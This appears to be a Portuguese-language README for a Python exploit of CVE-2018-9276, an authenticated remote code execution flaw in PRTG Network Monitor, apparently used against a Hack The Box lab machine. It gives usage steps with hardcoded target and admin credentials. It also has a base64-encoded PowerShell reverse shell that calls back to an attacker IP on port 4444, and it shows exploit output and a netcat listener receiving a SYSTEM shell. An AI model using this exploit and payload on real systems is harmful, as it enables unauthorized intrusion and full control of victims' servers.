PRTG-Network-Monitor-18.2.38---Authenticated-Remote-Code-Execution-CVE-2018-9276

Execução remota de código no PRTG Network Monitor autenticado Baseado em https://www.exploit-db.com/exploits/46527

Uso: simplesmente edite manualmente o script para incluir sua URL alvo, nome de usuário admin e senha da seguinte forma:

TARGET = "http://10.129.15.52"
USER = "prtgadmin"
PASS = "PrTg@dmin2019"

Em seguida, insira o comando que deseja executar na linha 110. Recomendo colocar um reverse shell codificado em base64 do revshells.com para uma conexão instantânea de volta ao seu listener

Nota: Deixei a variável CMD em branco no script para que você possa personalizá-la como desejar.

CMD = "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4AOQAzACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="

Simplesmente execute o script sem argumentos e você deverá receber uma conexão de volta no seu listener

┌──(root㉿user)-[/run/…/user/2024/HTBox/jerry]
└─# python3 CVE-2018-9276.py
[*] Attempting login as: prtgadmin
[+] Successfully logged in    
[*] Creating malicious notification...      
[+] Notification created. ID: 2019
[*] Triggering notification test...
[+] Payload queued successfully.
[*] Deleting notification 2019...
[+] Cleanup complete.
[*] Exploit cycle finished. Check target.


┌──(root㉿user)-[/home/user]
└─# rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.93] from (UNKNOWN) [10.129.15.52] 50466
whoami
nt authority\system
PS C:\Windows\system32> 

Notei que não havia script Python para este exploit, então pensei que seria bom montar um.